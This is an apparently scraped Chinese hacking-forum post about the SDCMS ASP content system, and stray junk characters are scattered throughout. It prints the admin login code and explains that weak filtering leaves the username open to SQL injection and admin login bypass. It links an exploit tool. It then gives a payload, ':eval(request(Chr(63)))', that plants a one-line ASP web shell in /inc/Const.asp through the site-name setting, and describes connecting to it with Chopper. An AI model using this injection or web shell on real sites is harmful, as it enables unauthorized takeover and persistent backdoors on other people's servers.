作者:T00LS 鬼哥& R3 a4 |! G% b, |
漏洞文件:后台目录/index.asp! L @1 p9 ] g7 R# @9 y
- h( |; _. d w; u3 s9 r: S0 y
Sub Check3 f, r( z- t) @3 F! d1 L9 J
Dim username,password,code,getcode,Rs
! m: P" }4 c' ]8 r4 n IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub) u. E0 t/ M. V5 `6 g* H+ i! Y
username=FilterText(Trim(Request.Form("username")),1)
1 a: Q$ R, l* E7 a. g password=FilterText(Trim(Request.Form("password")),1)9 r9 i7 L8 d) _& J
code=Trim(Request.Form("yzm"))
/ u) f) n0 K1 N( N/ c: G% y: h getcode=Session("SDCMSCode")
/ P4 i9 _5 g9 n& u( K IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
& q/ i) r1 ~2 R8 k. z* L IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
3 Z P" f& {: G+ b) q IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
. X& z3 f) ]& P( c @% ~. r IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied' `) Z: ]# Y [/ l+ e6 R( j
IF username="" or password="" Then
: i* I3 t% J% {7 Z: A. H: j Echo "用户名或密码不能为空" ied
- A6 C4 H3 A6 O5 W Else7 r& P. s; r) k h. ?' I4 H
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")9 u2 a6 P) Y* O x
IF Rs.Eof Then, n9 }2 M4 y+ O4 y& S- [, ~$ A% {
AddLog username,GetIp,"登录失败",1
+ Y! W- x4 n M3 K7 v5 d2 O' q2 q Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
/ |% m% w' f1 \* f Else
# q/ ^3 E# O, L R! X Add_Cookies "sdcms_id",Rs(0)
2 r e6 M4 C/ v$ T) i Add_Cookies "sdcms_name",username
6 f# n+ n8 `2 q4 S Add_Cookies "sdcms_pwd",Rs(2)
- G) C- }( v% m( k# a0 S Add_Cookies "sdcms_admin",Rs(3)6 x5 _& w/ q( J; c3 \% u
Add_Cookies "sdcms_alllever",Rs(4)3 r* e G6 ^+ ]: Y! u
Add_Cookies "sdcms_infolever",Rs(5)( ]& ^3 r$ T9 ? t2 x
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")! M7 W( M* f0 ~, ?/ t6 A
AddLog username,GetIp,"登录成功",1
6 {9 W7 T+ c; ?: b! L '自动删除30天前的Log记录
6 g+ g! i5 m0 o6 _7 Q+ s* ` IF Sdcms_DataType Then
. P. ~3 r. Z) f X5 W8 z Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")0 g- p# \+ Z& Q* p
Else, V: z! i4 B, h* D( J
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")6 h- ?0 [* }4 M" V- p
End IF
Y: M2 ~- W( L2 W4 } Go("sdcms_index.asp") B* |+ V8 O0 ~0 H9 T
End IF
. q( h7 y- U6 [! I" |; @2 ^. g9 c Rs.Close7 f# F# l& X* y/ D3 E. X% K1 `
Set Rs=Nothing
7 z" Z- u, Q; g) k/ E* N- p End IF
4 l/ U9 @$ e/ Q: h. zEnd Sub; ]$ S! C2 ?6 d7 P/ V
$ J' ] l! g: J3 T
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码" w7 h; c% b @: V' q1 a
g1 F, U/ |" m" i. V, N
Function FilterText(ByVal t0,ByVal t1)/ B* W6 V' z' W |; E) d
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function( ^# E' T% t$ N; s5 z! {
t0=Trim(t0)
+ T5 S1 T" ?7 w0 h8 p; a Select Case t1
( e( V( N2 {: Y# I Case "1"
2 |0 t, i% U% V9 W }% I5 j t0=Replace(t0,Chr(32),"")
. W1 m% w" w- }# @/ H t0=Replace(t0,Chr(13),"")
/ c" q& V' E4 N6 ?7 F% I1 N, Z t0=Replace(t0,Chr(10)&Chr(10),""): F: ~+ `0 P! A4 k8 K* M6 z' f- |
t0=Replace(t0,Chr(10),""), J% g$ j) k) C' M' ?; [7 o
Case "2"& o4 r# e& m% _. s4 B* v& _7 U
t0=Replace(t0,Chr(8),"")'回格, z& W ]1 A/ i/ t' y2 l0 w
t0=Replace(t0,Chr(9),"")'tab(水平制表符): s% y& Q0 G; y0 w5 f9 y0 g
t0=Replace(t0,Chr(10),"")'换行9 D g9 H$ c" a* `
t0=Replace(t0,Chr(11),"")'tab(垂直制表符); n! e8 }. u" O
t0=Replace(t0,Chr(12),"")'换页5 {% E8 X0 n) L# D7 B4 A& Z
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
% N+ V0 ^- s4 z1 e& b8 u% I5 C t0=Replace(t0,Chr(22),"")
0 A- I3 d& [% _5 k4 ~3 w. J, z t0=Replace(t0,Chr(32),"")'空格 SPACE
+ `4 z1 w; }! a5 Q( h8 i t0=Replace(t0,Chr(33),"")'!
9 n s; P! s' C1 o& p& [ t0=Replace(t0,Chr(34),"")'"
0 w1 t$ D0 |- }7 m3 `9 E6 | t0=Replace(t0,Chr(35),"")'#. U) f& e+ h7 I) }: [: {
t0=Replace(t0,Chr(36),"")'$7 N/ p6 x5 N* J
t0=Replace(t0,Chr(37),"")'%0 D8 I0 x" h) v: c1 @
t0=Replace(t0,Chr(38),"")'&
# _4 B+ \$ f1 v4 N6 \( T: M t0=Replace(t0,Chr(39),"")''
3 D) h+ k$ T4 m7 M( I* _# b t0=Replace(t0,Chr(40),"")'(
5 q0 U. I/ `1 Y t0=Replace(t0,Chr(41),"")')
# s3 K8 D" ~% f) i t0=Replace(t0,Chr(42),"")'*7 e. g3 w0 J* W2 _5 G/ s( F
t0=Replace(t0,Chr(43),"")'+& U' D: W6 v( Y. A2 |% d
t0=Replace(t0,Chr(44),"")',4 Z5 E" T: d [6 R% }4 k3 Z$ a
t0=Replace(t0,Chr(45),"")'-
2 T1 c8 f/ W- W* c t0=Replace(t0,Chr(46),"")'.
]+ D- o& P# L; h, r- B t0=Replace(t0,Chr(47),"")'/, f* X. Z. v' p ~( ]' Z8 c
t0=Replace(t0,Chr(58),"")':9 ]% O) `. `9 m6 _8 R# u
t0=Replace(t0,Chr(59),"")';
2 K# H" q }) k t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>! V% ]2 U7 ]; W, d( j
t0=Replace(t0,Chr(63),"")'?
5 P+ |$ t6 @" q2 H t0=Replace(t0,Chr(64),"")'@% u, {2 x2 ^" r6 M& G6 I: }, |
t0=Replace(t0,Chr(91),"")'\
' p: F0 z: v& M( S. \' o, j( m t0=Replace(t0,Chr(92),"")'\
6 z# r ^4 |& j# q/ _7 X O t0=Replace(t0,Chr(93),"")']( H8 m `/ z6 m5 n% c6 [# G# C, B) o
t0=Replace(t0,Chr(94),"")'^
9 k% b9 x4 G/ v& { t0=Replace(t0,Chr(95),"")'_- |! I0 A0 q1 z% p7 H2 |* a
t0=Replace(t0,Chr(96),"")'`+ k- x- _" e' E F! d% [/ n# b
t0=Replace(t0,Chr(123),"")'{' c$ a0 \/ x0 R& [/ o8 i( s
t0=Replace(t0,Chr(124),"")'|
: @4 E' @( l7 P# t2 c! S0 I. l% W t0=Replace(t0,Chr(125),"")'}
" T% e1 @! K# [- K5 `1 p t0=Replace(t0,Chr(126),"")'~
8 C6 w" c0 \& s2 o- [ Case Else
) u' z4 G1 t# h$ _+ p t0=Replace(t0, "&", "&")
9 \/ d2 O! ]* @ t0=Replace(t0, "'", "'")
' }, v) y* J% c! H t0=Replace(t0, """", """)
. R' d* P, m7 F t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")" Q F# }5 H; y3 e8 f8 k% |$ |( N9 p
End Select
# V+ F" i( R. h$ n( r# W IF Instr(Lcase(t0),"expression")>0 Then
# N k- R! a* @8 w. {) Q t0=Replace(t0,"expression","e­xpression", 1, -1, 0)# D y0 f2 y( p
End If+ \- B' f! @$ P$ V2 a
FilterText=t0
^1 \) t! X/ i& {End Function
+ d7 U) T) q" [. \3 Z) X; I; Y
8 {4 x& x0 m4 |, m看到没。直接参数是1 只过滤5 @/ N( _7 }2 @; q$ O
t0=Replace(t0,Chr(32)," ")
6 U0 Z4 t* w- }2 ~7 W t0=Replace(t0,Chr(13),"")
K% |- x7 A8 X5 Q0 P t0=Replace(t0,Chr(10)&Chr(10),"* X8 L; V# ?4 U5 x
")
1 ]. \. A/ N/ [, w t0=Replace(t0,Chr(10),"
0 f" k" k+ g7 M6 z/ ~ g")
# M' _7 Q0 F& K1 g0 _1 y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
. H( [( l. ?$ bEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 b6 q" T* | \: d5 q' Q
8 K# _1 p! Y2 k" c9 v* P测试:
5 z) u+ e `, V. c0 c7 Q$ T$ y- r9 @/ H3 V# N/ y, q
/ |0 X& `& f6 X o! t, v$ J2 e现在输入工具上验证码,然后点OK0 T* Y; A8 E ~ ?: p+ z( W$ s+ \
, F' O8 L' Z& Z( S3 j8 \. Y- n0 n5 Z
看到我们直接进入后台管理界面了,呵呵!4 O7 a% s Q* d i
) ?" z! \9 w5 n. ~) R, t/ p5 y
$ m( S9 o3 a5 y) q
1 @) M" \ @+ p0 q& z这样直接进入后台了。。。。7 h5 l# ^" A5 X8 Y
, B" N" T7 z3 |" m7 `4 Y" |
: y1 }3 v, L+ S% F b! l
6 w$ }/ p0 L' y) C* Y( X
SDCMS提权:( g6 e# b; ~$ D* \4 h8 J
$ H" ]' {3 P; u7 B0 \ l. c
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
7 C8 z6 V6 E8 b! {" D" I% S" ~! B, f5 z+ b/ H
Q$ ^8 F* J& `$ Q
- P" c0 E/ ^0 l3 j y/ JOK,现在用菜刀连接下!
7 U& z K& d( R5 k) i8 m; i4 [ o7 v. e
0 ]$ q3 k( j6 l8 a, R, w6 L4 L& p5 L! @) W' U! s2 h3 z T' |
4 S% }0 k- j4 g3 ~/ v9 \+ Q8 @( J! U" D/ G: W7 ~8 J1 |
|